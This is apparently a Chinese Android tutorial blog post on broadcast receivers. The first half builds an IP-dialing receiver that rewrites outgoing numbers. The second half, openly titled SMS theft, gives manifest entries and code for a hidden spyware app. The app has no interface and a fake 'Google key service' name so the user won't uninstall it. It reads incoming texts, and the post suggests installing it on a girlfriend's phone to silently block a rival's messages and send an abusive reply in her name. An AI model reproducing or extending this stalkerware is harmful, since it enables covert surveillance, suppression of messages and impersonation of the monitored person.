首页 > 代码库 > 【android基础篇】利用广播接收者实现ip拨号和短信窃取的效果

【android基础篇】利用广播接收者实现ip拨号和短信窃取的效果

I,广播接收者

广播接收者BroadCastReceiver,怎么理解广播接收者?

系统中,有很多特殊的事件,比如sd卡挂载,外拨电话,接收短信等事件。我们只要注册一个广播接收者,相当于买了个收音机,就可以接收到这些特殊事件。

这些事件,当发生时,总会向外发出广播。

 

II,实现IP拨号

1)

效果:输入一个号码,被当做是ip号码存储起来。等到拨打电话时,加上这个号码,拨打出去。

ip号码,可以存储在sharedPreferences中。最关键的是,需要写一个广播接收者,当发生外拨电话这种事件时,就应该把这个ip电话加上去。

所以我们需要写一个广播接收者。

2)

继承广播接收者,会复写其OnReceive方法,这个方法在监听的广播发生时,就会调用这个方法。

其实写到这里我也很奇怪,我们有那么多的广播,我们靠什么去区分,现实生活中靠的是频段,在安卓中,我们肯定要为广播接收者设置相应的频道。

在清单文件配置相关的信息:

1 <receiver android:name="com.eavesdrop.receiver.SmsReceiver">2             <intent-filter android:priority="1000">3                 <action android:name="android.intent.action.NEW_OUTGOING_CALL"/>4             </intent-filter>5 </receiver>

其中"android.intent.action.NEW_OUTGOING_CALL"就相当于外拨电话的频段。

其中priority属性表示的是广播的优先级,关于优先级下面会去说。

3)

当外拨电话时,所以会去调用OnReceive方法,这时我们就可以在方法中获取到外拨电话的内容。并在电话前增加我们从sharedPreferences取出的ip号码。

代码:

 1 SharedPreferences sp; 2     public void onReceive(Context context, Intent intent) { 3         /** 4          * 获得广播事件的的内容,也就是外拨电话的号码 5          */ 6         String phone=getResultData(); 7         /** 8          * 获取ip电话 9          */10         sp=context.getSharedPreferences("config",context.MODE_PRIVATE);11         String ipPhone=sp.getString("number", null);12         13         String newPhone=phone+ipPhone;14         /**15          * 发送已经改变的外拨号码16          */17         setResultData(newPhone);18     }

getResultData()和setResultData()方法关于底层其实我什么都看不懂。菜鸟状态。

还有就是对于接收外拨电话的广播,也需要权限android.permission.PROCESS_OUTGOING_CALLS

 

III,短信窃取

1)

对于短信窃取这个应用,首先不能让它有activity,而且名字必须显得很重要,防止用户卸载。推荐的名字,比如:”谷歌关键服务“。

有了前面的铺垫,这里就轻车熟路了。首先写一个广播接收者,监听短信接收的事件。

1  <receiver android:name="com.eavesdrop.receiver.SmsReceiver">2             <intent-filter android:priority="1000">3                 <action android:name="android.provider.Telephony.SMS_RECEIVED"/>4             </intent-filter>5         </receiver>

这里最关键的是怎么拿到短信的?在OnReceive方法中,会接收两个参数:

public void onReceive(Context context, Intent intent),其实短信的数据都被封装到intent中。

1 Object[]objs=(Object[]) intent.getExtras().get("pdus");

intent.getExtras()返回的是Bundle,这个Bundler相当于Map集合,至于后面的get("pdus"),可以把它当做是短信的一种格式,pdus:protocol data units协议数据单元。

intent.getExtras().get("pdus")其实本身返回的是Object,这里把它强转为Object数组。应该是为了方便去遍历数据。

 1 for(Object obj:objs){ 2             /** 3              * SmsMessage对象,代表着每条短信的数据的对象 4              */ 5             SmsMessage message=SmsMessage.createFromPdu((byte[])obj); 6             /** 7              * 获取短信的内容和发信人 8              */ 9             String body=message.getMessageBody();10             String address=message.getOriginatingAddress();11             System.out.println(body+""+address);
  }

通过SmsMessage.createPdu(byte[]buf)来把数组中的内容转化为每条短信的对象,下面就根据面向对象的思想,把短信的内容和发信人打印出来。

其实对于短信窃取,我们还可以为它添加一个功能:

当我们判断来短信的号码是你情敌的号码(假使这个应用会安装到你女朋友身上),我们可以这样做:

1 if("竞争对手的号码".equals(address)){2                 /*3                  * 该方法表示直接终止掉当前的广播事件。高优先级的广播接收者如果终止掉广播事件,那么低优先级的广播接收者就接收不到短信了。4                  */5                 abortBroadcast();6                 SmsManager.getDefault().sendTextMessage(address, null, "你去死吧...我不喜欢你..", null, null);7             }

当发现是情敌的号码,可以中断广播,也就是说,情敌发来的短信,用户将收不到。当然前提是,你广播接收者的优先级要设置的比当前用户的高。

中断后,可以替用户发出一条短信-->"你去死吧....我不喜欢你.....".

不过,最近在android4.0之后,强制要求带有广播接收者的应用程序必须有界面,并且运行过一次。

 

【android基础篇】利用广播接收者实现ip拨号和短信窃取的效果